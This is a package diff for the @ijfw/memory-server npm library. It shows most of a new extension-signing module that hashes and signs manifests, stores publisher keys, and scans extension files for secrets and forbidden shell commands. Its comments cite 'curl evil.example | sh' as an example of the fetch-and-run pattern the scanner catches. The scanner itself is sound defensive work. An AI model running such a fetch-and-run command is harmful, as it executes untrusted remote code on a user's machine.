@ijfw/memory-server 1.3.0 → 1.4.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +67 -0
- package/fixtures/team/book.json +47 -0
- package/fixtures/team/business.json +47 -0
- package/fixtures/team/content.json +47 -0
- package/fixtures/team/design.json +47 -0
- package/fixtures/team/mixed.json +59 -0
- package/fixtures/team/research.json +47 -0
- package/fixtures/team/software.json +47 -0
- package/package.json +1 -9
- package/src/.registry-meta-key.pem +3 -0
- package/src/active-extension-writer.js +142 -0
- package/src/blackboard.js +360 -0
- package/src/cli-run.js +91 -0
- package/src/codex-agents.js +177 -0
- package/src/compute/extract.js +3 -0
- package/src/compute/fts5.js +4 -4
- package/src/compute/graph-lock.js +0 -2
- package/src/compute/migrations/003-tier-semantic.js +3 -3
- package/src/compute/runner.js +44 -15
- package/src/compute/schema.sql +1 -1
- package/src/cross-orchestrator-cli.js +974 -13
- package/src/cross-orchestrator.js +9 -1
- package/src/dashboard-client.html +353 -1
- package/src/dashboard-server.js +318 -2
- package/src/design-intelligence.js +721 -0
- package/src/dispatch/colon-syntax.js +31 -3
- package/src/dispatch/domain-manifest.js +251 -0
- package/src/dispatch/extension.js +637 -0
- package/src/dispatch/override.js +221 -0
- package/src/dispatch-planner.js +1 -0
- package/src/dream/runner.mjs +3 -3
- package/src/extension-installer.js +1269 -0
- package/src/extension-manifest-schema.js +301 -0
- package/src/extension-permission-check.mjs +79 -0
- package/src/extension-registry.js +619 -0
- package/src/extension-signer.js +905 -0
- package/src/gate-result-formatter.js +95 -0
- package/src/gate-result-schema.js +274 -0
- package/src/gate-result.js +195 -0
- package/src/intent-router.js +2 -0
- package/src/lib/npm-view.js +1 -0
- package/src/memory/fts5.js +3 -3
- package/src/memory/migrations/002-tier-semantic.js +2 -2
- package/src/memory/staleness.js +1 -1
- package/src/memory/tier-promotion.js +6 -6
- package/src/memory/tokenize.js +1 -1
- package/src/memory-feedback.js +372 -0
- package/src/override-manifest-schema.js +146 -0
- package/src/override-resolver.js +699 -0
- package/src/override-use-registry.js +307 -0
- package/src/overrides/presets/academic.md +101 -0
- package/src/overrides/presets/book.md +87 -0
- package/src/overrides/presets/campaign.md +95 -0
- package/src/overrides/presets/screenplay.md +99 -0
- package/src/recovery/checkpoint.js +191 -0
- package/src/redactor.js +2 -0
- package/src/runtime-mediator.js +207 -0
- package/src/sandbox.js +17 -3
- package/src/server.js +94 -2
- package/src/swarm/dispatch-prompt.js +154 -0
- package/src/swarm/planner.js +399 -0
- package/src/swarm/review.js +136 -0
- package/src/swarm/worktree.js +239 -0
- package/src/team/generator.js +119 -0
- package/src/team/schemas.js +341 -0
- package/src/trident/dispatch.js +47 -0
- package/src/update-check.js +1 -1
- package/src/vectors.js +7 -8
|
@@ -0,0 +1,905 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Extension integrity + signing module — IJFW 1.4.0 Open Ecosystem.
|
|
3
|
+
*
|
|
4
|
+
* Two layered defenses live here:
|
|
5
|
+
*
|
|
6
|
+
* 1. SHA256 integrity hash (computeIntegrity / verifyIntegrity)
|
|
7
|
+
* Detects in-transit corruption and naive post-install edits. Does
|
|
8
|
+
* NOT authenticate the publisher on its own.
|
|
9
|
+
*
|
|
10
|
+
* 2. Ed25519 asymmetric publisher signing (W7/B1: signManifest /
|
|
11
|
+
* verifyManifestSignature, generatePublisherKeypair, trusted-publishers
|
|
12
|
+
* store at ~/.ijfw/trusted-publishers.json). Authenticates the publisher
|
|
13
|
+
* against a per-host trust store. Unsigned manifests require explicit
|
|
14
|
+
* opts.allowUnsigned; signed-but-untrusted manifests require explicit
|
|
15
|
+
* opts.acceptUntrusted.
|
|
16
|
+
*
|
|
17
|
+
* v1.4.0 trust = signature verify (publisher) + Trident install-gate audit
|
|
18
|
+
* (3-lens content audit) + integrity hash (tamper) + install-time static
|
|
19
|
+
* analysis (`scanExtensionForSecrets` via `classify()` from redactor.js,
|
|
20
|
+
* `scanInlineCommands` via `isSafeVerifyCommand()` from ralph-allowlist.js).
|
|
21
|
+
*
|
|
22
|
+
* Spec: .planning/1.4.0/security-spec.md
|
|
23
|
+
*
|
|
24
|
+
* Uses node:crypto + node:fs/promises only — no subprocess invocations.
|
|
25
|
+
*/
|
|
26
|
+
|
|
27
|
+
import {
|
|
28
|
+
createHash,
|
|
29
|
+
createPrivateKey,
|
|
30
|
+
createPublicKey,
|
|
31
|
+
generateKeyPairSync,
|
|
32
|
+
sign as cryptoSign,
|
|
33
|
+
verify as cryptoVerify,
|
|
34
|
+
} from 'node:crypto';
|
|
35
|
+
import { readdir, readFile, stat, mkdir, writeFile, chmod } from 'node:fs/promises';
|
|
36
|
+
import { homedir } from 'node:os';
|
|
37
|
+
import { join, relative, sep } from 'node:path';
|
|
38
|
+
|
|
39
|
+
import { classify } from './redactor.js';
|
|
40
|
+
import { isSafeVerifyCommand } from './ralph-allowlist.js';
|
|
41
|
+
import {
|
|
42
|
+
INTEGRITY_PATTERN,
|
|
43
|
+
PERMISSION_READS,
|
|
44
|
+
PERMISSION_WRITES,
|
|
45
|
+
SIGNATURE_PATTERN,
|
|
46
|
+
PUBLISHER_KEY_ID_PATTERN,
|
|
47
|
+
} from './extension-manifest-schema.js';
|
|
48
|
+
|
|
49
|
+
/**
|
|
50
|
+
* Recursively sort object keys to produce a stable canonical representation.
|
|
51
|
+
* Arrays preserve order (semantically meaningful); objects sort keys.
|
|
52
|
+
* Primitives pass through. `undefined` values are dropped (JSON-equivalent).
|
|
53
|
+
*
|
|
54
|
+
* @param {*} v
|
|
55
|
+
* @returns {*}
|
|
56
|
+
*/
|
|
57
|
+
function sortKeysDeep(v) {
|
|
58
|
+
if (Array.isArray(v)) {
|
|
59
|
+
return v.map(sortKeysDeep);
|
|
60
|
+
}
|
|
61
|
+
if (v !== null && typeof v === 'object') {
|
|
62
|
+
const out = {};
|
|
63
|
+
const keys = Object.keys(v).sort();
|
|
64
|
+
for (const k of keys) {
|
|
65
|
+
if (v[k] === undefined) continue;
|
|
66
|
+
out[k] = sortKeysDeep(v[k]);
|
|
67
|
+
}
|
|
68
|
+
return out;
|
|
69
|
+
}
|
|
70
|
+
return v;
|
|
71
|
+
}
|
|
72
|
+
|
|
73
|
+
/**
|
|
74
|
+
* Produce the canonical JSON representation of a manifest for hashing.
|
|
75
|
+
* Recursively sorts object keys; omits the top-level `integrity` field.
|
|
76
|
+
*
|
|
77
|
+
* @param {object} manifest
|
|
78
|
+
* @returns {string} canonical JSON string (UTF-8)
|
|
79
|
+
*/
|
|
80
|
+
export function canonicalise(manifest) {
|
|
81
|
+
if (manifest === null || typeof manifest !== 'object' || Array.isArray(manifest)) {
|
|
82
|
+
// Be permissive on inputs that aren't object-shaped — caller is responsible
|
|
83
|
+
// for shape, this function only serialises deterministically.
|
|
84
|
+
return JSON.stringify(sortKeysDeep(manifest));
|
|
85
|
+
}
|
|
86
|
+
// Top-level integrity field is excluded from the canonical body — the hash
|
|
87
|
+
// we compute here is what GOES INTO that field.
|
|
88
|
+
const shallow = {};
|
|
89
|
+
for (const k of Object.keys(manifest)) {
|
|
90
|
+
if (k === 'integrity') continue;
|
|
91
|
+
shallow[k] = manifest[k];
|
|
92
|
+
}
|
|
93
|
+
return JSON.stringify(sortKeysDeep(shallow));
|
|
94
|
+
}
|
|
95
|
+
|
|
96
|
+
/**
|
|
97
|
+
* Compute the SHA256 integrity hash over the canonical manifest and return
|
|
98
|
+
* a NEW manifest (shallow copy of input) with the `integrity` field
|
|
99
|
+
* populated as `sha256:<64 lowercase hex>`.
|
|
100
|
+
*
|
|
101
|
+
* @param {object} manifest
|
|
102
|
+
* @returns {object} manifest with `integrity: "sha256:<64 lowercase hex>"`
|
|
103
|
+
*/
|
|
104
|
+
export function computeIntegrity(manifest) {
|
|
105
|
+
const canonical = canonicalise(manifest);
|
|
106
|
+
const digest = createHash('sha256').update(canonical, 'utf8').digest('hex');
|
|
107
|
+
return { ...manifest, integrity: `sha256:${digest}` };
|
|
108
|
+
}
|
|
109
|
+
|
|
110
|
+
/**
|
|
111
|
+
* Verify the integrity hash on a manifest. Recomputes the canonical hash and
|
|
112
|
+
* compares to the `integrity` field. Returns `valid: false` (does NOT throw)
|
|
113
|
+
* when the input lacks an integrity field or the field is malformed.
|
|
114
|
+
*
|
|
115
|
+
* Enforces the strict format `^sha256:[a-f0-9]{64}$` per residual R5.
|
|
116
|
+
*
|
|
117
|
+
* @param {object} manifest
|
|
118
|
+
* @returns {{ valid: boolean, expected: string | null, got: string | null }}
|
|
119
|
+
*/
|
|
120
|
+
export function verifyIntegrity(manifest) {
|
|
121
|
+
if (manifest === null || typeof manifest !== 'object' || Array.isArray(manifest)) {
|
|
122
|
+
return { valid: false, expected: null, got: null };
|
|
123
|
+
}
|
|
124
|
+
const got = typeof manifest.integrity === 'string' ? manifest.integrity : null;
|
|
125
|
+
if (got === null) {
|
|
126
|
+
return { valid: false, expected: null, got: null };
|
|
127
|
+
}
|
|
128
|
+
if (!INTEGRITY_PATTERN.test(got)) {
|
|
129
|
+
return { valid: false, expected: null, got };
|
|
130
|
+
}
|
|
131
|
+
// Deep clone to avoid any mutation of the caller's object.
|
|
132
|
+
const clone = JSON.parse(JSON.stringify(manifest));
|
|
133
|
+
delete clone.integrity;
|
|
134
|
+
const canonical = canonicalise(clone);
|
|
135
|
+
const digest = createHash('sha256').update(canonical, 'utf8').digest('hex');
|
|
136
|
+
const expected = `sha256:${digest}`;
|
|
137
|
+
return { valid: expected === got, expected, got };
|
|
138
|
+
}
|
|
139
|
+
|
|
140
|
+
// Directories never scanned for secrets — large, generated, or VCS metadata.
|
|
141
|
+
const SCAN_SKIP_DIRS = new Set([
|
|
142
|
+
'node_modules',
|
|
143
|
+
'.git',
|
|
144
|
+
'.svn',
|
|
145
|
+
'.hg',
|
|
146
|
+
'dist',
|
|
147
|
+
'build',
|
|
148
|
+
'.next',
|
|
149
|
+
'.cache',
|
|
150
|
+
]);
|
|
151
|
+
|
|
152
|
+
// Files larger than this are treated as binary and skipped (1 MiB).
|
|
153
|
+
const SCAN_MAX_FILE_BYTES = 1024 * 1024;
|
|
154
|
+
|
|
155
|
+
/**
|
|
156
|
+
* Walk a directory tree, yielding absolute file paths. Skips SCAN_SKIP_DIRS.
|
|
157
|
+
*
|
|
158
|
+
* @param {string} root
|
|
159
|
+
* @returns {AsyncGenerator<string>}
|
|
160
|
+
*/
|
|
161
|
+
async function* walkFiles(root) {
|
|
162
|
+
const entries = await readdir(root, { withFileTypes: true });
|
|
163
|
+
for (const entry of entries) {
|
|
164
|
+
const full = join(root, entry.name);
|
|
165
|
+
if (entry.isDirectory()) {
|
|
166
|
+
if (SCAN_SKIP_DIRS.has(entry.name)) continue;
|
|
167
|
+
yield* walkFiles(full);
|
|
168
|
+
} else if (entry.isFile()) {
|
|
169
|
+
yield full;
|
|
170
|
+
}
|
|
171
|
+
// Symlinks and other entry types are intentionally skipped.
|
|
172
|
+
}
|
|
173
|
+
}
|
|
174
|
+
|
|
175
|
+
/**
|
|
176
|
+
* Heuristically detect a binary file by null-byte presence in the head buffer.
|
|
177
|
+
*
|
|
178
|
+
* @param {Buffer} buf
|
|
179
|
+
* @returns {boolean}
|
|
180
|
+
*/
|
|
181
|
+
function looksBinary(buf) {
|
|
182
|
+
const limit = Math.min(buf.length, 8192);
|
|
183
|
+
for (let i = 0; i < limit; i++) {
|
|
184
|
+
if (buf[i] === 0) return true;
|
|
185
|
+
}
|
|
186
|
+
return false;
|
|
187
|
+
}
|
|
188
|
+
|
|
189
|
+
/**
|
|
190
|
+
* Walk all files under `extensionDir` and scan each line for known secret
|
|
191
|
+
* patterns using `classify()` from `mcp-server/src/redactor.js`. Does NOT
|
|
192
|
+
* use `redactSecrets()` for detection — that returns the redacted string,
|
|
193
|
+
* not findings.
|
|
194
|
+
*
|
|
195
|
+
* Findings include `{file, line, kind}` — never the matched value itself
|
|
196
|
+
* (security spec §3.1).
|
|
197
|
+
*
|
|
198
|
+
* @param {string} extensionDir
|
|
199
|
+
* @returns {Promise<{ clean: boolean, findings: Array<{ file: string, line: number, kind: string }> }>}
|
|
200
|
+
*/
|
|
201
|
+
export async function scanExtensionForSecrets(extensionDir) {
|
|
202
|
+
const findings = [];
|
|
203
|
+
for await (const absPath of walkFiles(extensionDir)) {
|
|
204
|
+
let buf;
|
|
205
|
+
try {
|
|
206
|
+
const st = await stat(absPath);
|
|
207
|
+
if (st.size > SCAN_MAX_FILE_BYTES) continue; // skip large/binary blobs
|
|
208
|
+
buf = await readFile(absPath);
|
|
209
|
+
} catch {
|
|
210
|
+
continue; // unreadable file — skip
|
|
211
|
+
}
|
|
212
|
+
if (looksBinary(buf)) continue;
|
|
213
|
+
const text = buf.toString('utf8');
|
|
214
|
+
const rel = relative(extensionDir, absPath).split(sep).join('/');
|
|
215
|
+
const lines = text.split(/\r?\n/);
|
|
216
|
+
for (let i = 0; i < lines.length; i++) {
|
|
217
|
+
const line = lines[i];
|
|
218
|
+
if (!line) continue;
|
|
219
|
+
// Line-level pass. classify() requires the WHOLE value to match a
|
|
220
|
+
// pattern, so we also try whitespace-delimited tokens for in-prose
|
|
221
|
+
// secrets (e.g. "token: sk-ant-..." on a single line).
|
|
222
|
+
const candidates = [line, ...line.split(/\s+/)];
|
|
223
|
+
for (const c of candidates) {
|
|
224
|
+
const result = classify(c);
|
|
225
|
+
if (!result.clean) {
|
|
226
|
+
findings.push({
|
|
227
|
+
file: rel,
|
|
228
|
+
line: i + 1,
|
|
229
|
+
kind: result.redacted_kind,
|
|
230
|
+
});
|
|
231
|
+
break; // one finding per line is enough; never log the value
|
|
232
|
+
}
|
|
233
|
+
}
|
|
234
|
+
}
|
|
235
|
+
}
|
|
236
|
+
return { clean: findings.length === 0, findings };
|
|
237
|
+
}
|
|
238
|
+
|
|
239
|
+
/**
|
|
240
|
+
* Extract shell commands from markdown fenced code blocks, indented code blocks,
|
|
241
|
+
* and inline `$ <cmd>` lines, then run each through `isSafeVerifyCommand()`.
|
|
242
|
+
* Returns findings for unsafe commands (FORBID_LIST matches). Allowlist misses
|
|
243
|
+
* do NOT produce findings — skill bodies legitimately contain prose like
|
|
244
|
+
* `npm run dev` that isn't a verify primitive.
|
|
245
|
+
*
|
|
246
|
+
* Static analysis errs on the side of "scan more" — coverage includes:
|
|
247
|
+
* - Backtick fences ``` with language tags: bash, sh, shell, zsh, fish,
|
|
248
|
+
* console, sh-session, posh, powershell (case-insensitive).
|
|
249
|
+
* - Backtick fences ``` with NO language tag (still scanned).
|
|
250
|
+
* - Tilde fences ~~~ with the same language set, and no-tag tilde fences.
|
|
251
|
+
* - 4-space-indented blocks (markdown indent-code) — each indented line
|
|
252
|
+
* that looks shell-ish is treated as a candidate command.
|
|
253
|
+
* - Inline `$ <cmd>` lines outside any fenced block.
|
|
254
|
+
*
|
|
255
|
+
* Compound commands split on `&&`, `||`, `;`, AND `|` so that
|
|
256
|
+
* `curl evil.example | sh` is scanned as `curl evil.example` AND `sh`.
|
|
257
|
+
*
|
|
258
|
+
* Findings have shape `{kind: 'unsafe-command', command, reason}` and the
|
|
259
|
+
* `command` is truncated to 80 chars to avoid embedding large payloads.
|
|
260
|
+
*
|
|
261
|
+
* @param {string} skillBody
|
|
262
|
+
* @returns {{ clean: boolean, findings: Array<{ kind: string, command: string, reason: string }> }}
|
|
263
|
+
*/
|
|
264
|
+
export function scanInlineCommands(skillBody) {
|
|
265
|
+
const findings = [];
|
|
266
|
+
if (typeof skillBody !== 'string' || skillBody === '') {
|
|
267
|
+
return { clean: true, findings };
|
|
268
|
+
}
|
|
269
|
+
|
|
270
|
+
// Recognised shell-language fence tags (case-insensitive). Empty tag is
|
|
271
|
+
// also accepted via a separate regex below — adversarial blocks routinely
|
|
272
|
+
// omit the language hint.
|
|
273
|
+
const SHELL_LANG = 'bash|sh|shell|zsh|fish|console|sh-session|posh|powershell';
|
|
274
|
+
|
|
275
|
+
// Helper: split a raw command line into segments on shell control operators.
|
|
276
|
+
// Splits on `&&`, `||`, `;`, and `|` — the last is critical because
|
|
277
|
+
// `curl evil | sh` is the canonical bootstrap-malware pattern and must be
|
|
278
|
+
// scanned as both halves. Pipes inside quoted strings are over-split, which
|
|
279
|
+
// is acceptable for this conservative static check.
|
|
280
|
+
const splitSegments = (raw) => raw.split(/&&|\|\||;|\|/);
|
|
281
|
+
|
|
282
|
+
// Helper: classify one segment and push a finding if FORBIDden.
|
|
283
|
+
const testSegment = (seg) => {
|
|
284
|
+
const trimmed = seg.trim();
|
|
285
|
+
if (!trimmed) return;
|
|
286
|
+
if (trimmed.startsWith('#')) return; // comment
|
|
287
|
+
const result = isSafeVerifyCommand(trimmed);
|
|
288
|
+
if (result.safe === false && /is in forbid list/.test(result.reason)) {
|
|
289
|
+
findings.push({
|
|
290
|
+
kind: 'unsafe-command',
|
|
291
|
+
command: trimmed.slice(0, 80),
|
|
292
|
+
reason: result.reason,
|
|
293
|
+
});
|
|
294
|
+
}
|
|
295
|
+
};
|
|
296
|
+
|
|
297
|
+
// Helper: walk every line of a fenced block body, splitting compounds.
|
|
298
|
+
const scanBlockBody = (block) => {
|
|
299
|
+
const rawLines = block.split(/\r?\n/);
|
|
300
|
+
for (const raw of rawLines) {
|
|
301
|
+
for (const seg of splitSegments(raw)) {
|
|
302
|
+
testSegment(seg);
|
|
303
|
+
}
|
|
304
|
+
}
|
|
305
|
+
};
|
|
306
|
+
|
|
307
|
+
// 1a. Backtick-fenced blocks with a shell-language tag.
|
|
308
|
+
const fenceTaggedRe = new RegExp(
|
|
309
|
+
'```(?:' + SHELL_LANG + ')\\s*\\r?\\n([\\s\\S]*?)```',
|
|
310
|
+
'gi',
|
|
311
|
+
);
|
|
312
|
+
let m;
|
|
313
|
+
while ((m = fenceTaggedRe.exec(skillBody)) !== null) {
|
|
314
|
+
scanBlockBody(m[1]);
|
|
315
|
+
}
|
|
316
|
+
|
|
317
|
+
// 1b. Backtick-fenced blocks with NO language tag (```\n…\n```). We scan
|
|
318
|
+
// these too because adversarial blocks routinely omit the hint. Tagged
|
|
319
|
+
// non-shell fences (e.g. ```python) are deliberately skipped.
|
|
320
|
+
const fenceUntaggedRe = /```[ \t]*\r?\n([\s\S]*?)```/g;
|
|
321
|
+
while ((m = fenceUntaggedRe.exec(skillBody)) !== null) {
|
|
322
|
+
scanBlockBody(m[1]);
|
|
323
|
+
}
|
|
324
|
+
|
|
325
|
+
// 1c. Tilde-fenced blocks (~~~) with a shell-language tag.
|
|
326
|
+
const tildeTaggedRe = new RegExp(
|
|
327
|
+
'~~~(?:' + SHELL_LANG + ')\\s*\\r?\\n([\\s\\S]*?)~~~',
|
|
328
|
+
'gi',
|
|
329
|
+
);
|
|
330
|
+
while ((m = tildeTaggedRe.exec(skillBody)) !== null) {
|
|
331
|
+
scanBlockBody(m[1]);
|
|
332
|
+
}
|
|
333
|
+
|
|
334
|
+
// 1d. Tilde-fenced blocks with NO language tag.
|
|
335
|
+
const tildeUntaggedRe = /~~~[ \t]*\r?\n([\s\S]*?)~~~/g;
|
|
336
|
+
while ((m = tildeUntaggedRe.exec(skillBody)) !== null) {
|
|
337
|
+
scanBlockBody(m[1]);
|
|
338
|
+
}
|
|
339
|
+
|
|
340
|
+
// 2. 4-space-indented code blocks. We strip fenced blocks first to avoid
|
|
341
|
+
// double-counting their interiors as indented blocks. Each indented line
|
|
342
|
+
// whose post-indent content starts with a shell-ish character (a-z, /,
|
|
343
|
+
// or .) is treated as a candidate command and split on operators.
|
|
344
|
+
let stripped = skillBody.replace(/```[\s\S]*?```/g, '');
|
|
345
|
+
stripped = stripped.replace(/~~~[\s\S]*?~~~/g, '');
|
|
346
|
+
const lines = stripped.split(/\r?\n/);
|
|
347
|
+
for (const line of lines) {
|
|
348
|
+
// 4+ leading spaces (no tabs — CommonMark indented-code is space-only).
|
|
349
|
+
const im = line.match(/^[ ]{4,}(.*)$/);
|
|
350
|
+
if (!im) continue;
|
|
351
|
+
const content = im[1];
|
|
352
|
+
// Shell-looking heuristic: starts with a letter, `.`, or `/` and is not
|
|
353
|
+
// a code-block comment or empty.
|
|
354
|
+
if (!/^[a-zA-Z./]/.test(content)) continue;
|
|
355
|
+
for (const seg of splitSegments(content)) {
|
|
356
|
+
testSegment(seg);
|
|
357
|
+
}
|
|
358
|
+
}
|
|
359
|
+
|
|
360
|
+
// 3. Inline `$ <cmd>` lines outside any fenced/tilde block.
|
|
361
|
+
const inlineRe = /^\s*\$\s+(.+)$/gm;
|
|
362
|
+
while ((m = inlineRe.exec(stripped)) !== null) {
|
|
363
|
+
for (const seg of splitSegments(m[1])) {
|
|
364
|
+
testSegment(seg);
|
|
365
|
+
}
|
|
366
|
+
}
|
|
367
|
+
|
|
368
|
+
return { clean: findings.length === 0, findings };
|
|
369
|
+
}
|
|
370
|
+
|
|
371
|
+
/**
|
|
372
|
+
* Validate that an extension's declared permissions are subsets of the
|
|
373
|
+
* schema allowlists (`PERMISSION_READS`, `PERMISSION_WRITES`). v1.4.0
|
|
374
|
+
* permissions are declarative intent — this check guards against typos and
|
|
375
|
+
* out-of-vocabulary declarations.
|
|
376
|
+
*
|
|
377
|
+
* Missing `permissions` block is treated as `{reads: [], writes: []}`
|
|
378
|
+
* (valid). Non-object permissions fail validation.
|
|
379
|
+
*
|
|
380
|
+
* @param {object} manifest
|
|
381
|
+
* @returns {{ valid: boolean, errors: string[] }}
|
|
382
|
+
*/
|
|
383
|
+
export function validatePermissions(manifest) {
|
|
384
|
+
const errors = [];
|
|
385
|
+
if (manifest === null || typeof manifest !== 'object' || Array.isArray(manifest)) {
|
|
386
|
+
return { valid: false, errors: ['manifest: must be an object'] };
|
|
387
|
+
}
|
|
388
|
+
const perms = manifest.permissions;
|
|
389
|
+
if (perms === undefined) {
|
|
390
|
+
// Treat as empty (valid).
|
|
391
|
+
return { valid: true, errors: [] };
|
|
392
|
+
}
|
|
393
|
+
if (perms === null || typeof perms !== 'object' || Array.isArray(perms)) {
|
|
394
|
+
return { valid: false, errors: ['permissions: must be an object with reads/writes arrays'] };
|
|
395
|
+
}
|
|
396
|
+
|
|
397
|
+
const reads = perms.reads ?? [];
|
|
398
|
+
const writes = perms.writes ?? [];
|
|
399
|
+
|
|
400
|
+
if (!Array.isArray(reads)) {
|
|
401
|
+
errors.push('permissions.reads: must be an array');
|
|
402
|
+
} else {
|
|
403
|
+
reads.forEach((p, i) => {
|
|
404
|
+
if (typeof p !== 'string') {
|
|
405
|
+
errors.push(`permissions.reads[${i}]: must be a string`);
|
|
406
|
+
return;
|
|
407
|
+
}
|
|
408
|
+
if (!PERMISSION_READS.includes(p)) {
|
|
409
|
+
errors.push(`permissions.reads[${i}]: ${JSON.stringify(p)} not in allowlist`);
|
|
410
|
+
}
|
|
411
|
+
});
|
|
412
|
+
}
|
|
413
|
+
|
|
414
|
+
if (!Array.isArray(writes)) {
|
|
415
|
+
errors.push('permissions.writes: must be an array');
|
|
416
|
+
} else {
|
|
417
|
+
writes.forEach((p, i) => {
|
|
418
|
+
if (typeof p !== 'string') {
|
|
419
|
+
errors.push(`permissions.writes[${i}]: must be a string`);
|
|
420
|
+
return;
|
|
421
|
+
}
|
|
422
|
+
if (!PERMISSION_WRITES.includes(p)) {
|
|
423
|
+
errors.push(`permissions.writes[${i}]: ${JSON.stringify(p)} not in allowlist`);
|
|
424
|
+
}
|
|
425
|
+
});
|
|
426
|
+
}
|
|
427
|
+
|
|
428
|
+
return { valid: errors.length === 0, errors };
|
|
429
|
+
}
|
|
430
|
+
|
|
431
|
+
// === W7/B1: Asymmetric Ed25519 publisher signing =========================
|
|
432
|
+
//
|
|
433
|
+
// Trust model upgrade for v1.4.0:
|
|
434
|
+
// - integrity (sha256) detects tamper, independent of signing.
|
|
435
|
+
// - signature (ed25519) binds a manifest to a publisher keypair.
|
|
436
|
+
// - publisher_key_id = sha256 fingerprint (hex) of the PEM-encoded public key.
|
|
437
|
+
// - Trusted publishers store at ~/.ijfw/trusted-publishers.json.
|
|
438
|
+
// - Keypairs persist at ~/.ijfw/keys/<keyId>/ (private 0600, public 0644).
|
|
439
|
+
//
|
|
440
|
+
// Canonicalisation for signing: drop `signature` AND `integrity` fields, then
|
|
441
|
+
// serialise with sortKeysDeep -> JSON.stringify. Verification re-creates the
|
|
442
|
+
// same canonical form.
|
|
443
|
+
|
|
444
|
+
function keysRoot() {
|
|
445
|
+
return join(homedir(), '.ijfw', 'keys');
|
|
446
|
+
}
|
|
447
|
+
|
|
448
|
+
function trustedPublishersPath() {
|
|
449
|
+
return join(homedir(), '.ijfw', 'trusted-publishers.json');
|
|
450
|
+
}
|
|
451
|
+
|
|
452
|
+
/**
|
|
453
|
+
* Canonical bytes for signing: drop signature + integrity, sort keys deep,
|
|
454
|
+
* UTF-8 encode. Shared by signManifest / verifyManifestSignature so both
|
|
455
|
+
* sides produce byte-identical input.
|
|
456
|
+
*
|
|
457
|
+
* @param {object} manifest
|
|
458
|
+
* @returns {Buffer}
|
|
459
|
+
*/
|
|
460
|
+
function canonicalSigningBytes(manifest) {
|
|
461
|
+
if (manifest === null || typeof manifest !== 'object' || Array.isArray(manifest)) {
|
|
462
|
+
return Buffer.from(JSON.stringify(sortKeysDeep(manifest)), 'utf8');
|
|
463
|
+
}
|
|
464
|
+
const shallow = {};
|
|
465
|
+
for (const k of Object.keys(manifest)) {
|
|
466
|
+
if (k === 'signature' || k === 'integrity') continue;
|
|
467
|
+
shallow[k] = manifest[k];
|
|
468
|
+
}
|
|
469
|
+
return Buffer.from(JSON.stringify(sortKeysDeep(shallow)), 'utf8');
|
|
470
|
+
}
|
|
471
|
+
|
|
472
|
+
/**
|
|
473
|
+
* Compute the sha256 hex fingerprint (lowercase) of a PEM-encoded public key.
|
|
474
|
+
* Uses the DER-encoded form so a re-encode of the same key still fingerprints
|
|
475
|
+
* to the same id.
|
|
476
|
+
*
|
|
477
|
+
* @param {string} publicKeyPem
|
|
478
|
+
* @returns {string}
|
|
479
|
+
*/
|
|
480
|
+
export function publicKeyFingerprint(publicKeyPem) {
|
|
481
|
+
const key = createPublicKey(publicKeyPem);
|
|
482
|
+
const der = key.export({ type: 'spki', format: 'der' });
|
|
483
|
+
return createHash('sha256').update(der).digest('hex');
|
|
484
|
+
}
|
|
485
|
+
|
|
486
|
+
/**
|
|
487
|
+
* Generate a new Ed25519 publisher keypair, persist it under ~/.ijfw/keys/<keyId>/,
|
|
488
|
+
* and return the in-memory PEM material + the derived keyId.
|
|
489
|
+
*
|
|
490
|
+
* @param {string} [authorName] informational only (recorded in the receipt)
|
|
491
|
+
* @returns {Promise<{ publicKey: string, privateKey: string, keyId: string, dir: string }>}
|
|
492
|
+
*/
|
|
493
|
+
export async function generatePublisherKeypair(authorName) {
|
|
494
|
+
const { publicKey, privateKey } = generateKeyPairSync('ed25519');
|
|
495
|
+
const publicKeyPem = publicKey.export({ type: 'spki', format: 'pem' }).toString();
|
|
496
|
+
const privateKeyPem = privateKey.export({ type: 'pkcs8', format: 'pem' }).toString();
|
|
497
|
+
const keyId = publicKeyFingerprint(publicKeyPem);
|
|
498
|
+
|
|
499
|
+
const dir = join(keysRoot(), keyId);
|
|
500
|
+
// W7.1/B1-L-01: mode 0700 so the per-key directory is not group/world
|
|
501
|
+
// listable. Private key file inside is 0600 separately.
|
|
502
|
+
await mkdir(dir, { recursive: true, mode: 0o700 });
|
|
503
|
+
try { await chmod(dir, 0o700); } catch { /* best-effort */ }
|
|
504
|
+
const pubPath = join(dir, 'public.pem');
|
|
505
|
+
const privPath = join(dir, 'private.pem');
|
|
506
|
+
await writeFile(pubPath, publicKeyPem, 'utf8');
|
|
507
|
+
await writeFile(privPath, privateKeyPem, { encoding: 'utf8', mode: 0o600 });
|
|
508
|
+
// Re-chmod belt-and-braces; some platforms ignore the open-time mode arg.
|
|
509
|
+
try { await chmod(privPath, 0o600); } catch { /* best-effort */ }
|
|
510
|
+
try { await chmod(pubPath, 0o644); } catch { /* best-effort */ }
|
|
511
|
+
|
|
512
|
+
// Author receipt (informational; not authoritative).
|
|
513
|
+
if (typeof authorName === 'string' && authorName.length > 0) {
|
|
514
|
+
try {
|
|
515
|
+
await writeFile(
|
|
516
|
+
join(dir, 'author.txt'),
|
|
517
|
+
`${authorName}\n${new Date().toISOString()}\n`,
|
|
518
|
+
'utf8',
|
|
519
|
+
);
|
|
520
|
+
} catch { /* non-fatal */ }
|
|
521
|
+
}
|
|
522
|
+
|
|
523
|
+
return { publicKey: publicKeyPem, privateKey: privateKeyPem, keyId, dir };
|
|
524
|
+
}
|
|
525
|
+
|
|
526
|
+
/**
|
|
527
|
+
* Load a previously-generated keypair from ~/.ijfw/keys/<keyId>/. Returns null
|
|
528
|
+
* if either file is missing.
|
|
529
|
+
*
|
|
530
|
+
* @param {string} keyId
|
|
531
|
+
* @returns {Promise<{ publicKey: string, privateKey: string, keyId: string } | null>}
|
|
532
|
+
*/
|
|
533
|
+
export async function loadPublisherKeypair(keyId) {
|
|
534
|
+
if (typeof keyId !== 'string' || !PUBLISHER_KEY_ID_PATTERN.test(keyId)) return null;
|
|
535
|
+
const dir = join(keysRoot(), keyId);
|
|
536
|
+
try {
|
|
537
|
+
const [publicKey, privateKey] = await Promise.all([
|
|
538
|
+
readFile(join(dir, 'public.pem'), 'utf8'),
|
|
539
|
+
readFile(join(dir, 'private.pem'), 'utf8'),
|
|
540
|
+
]);
|
|
541
|
+
return { publicKey, privateKey, keyId };
|
|
542
|
+
} catch {
|
|
543
|
+
return null;
|
|
544
|
+
}
|
|
545
|
+
}
|
|
546
|
+
|
|
547
|
+
/**
|
|
548
|
+
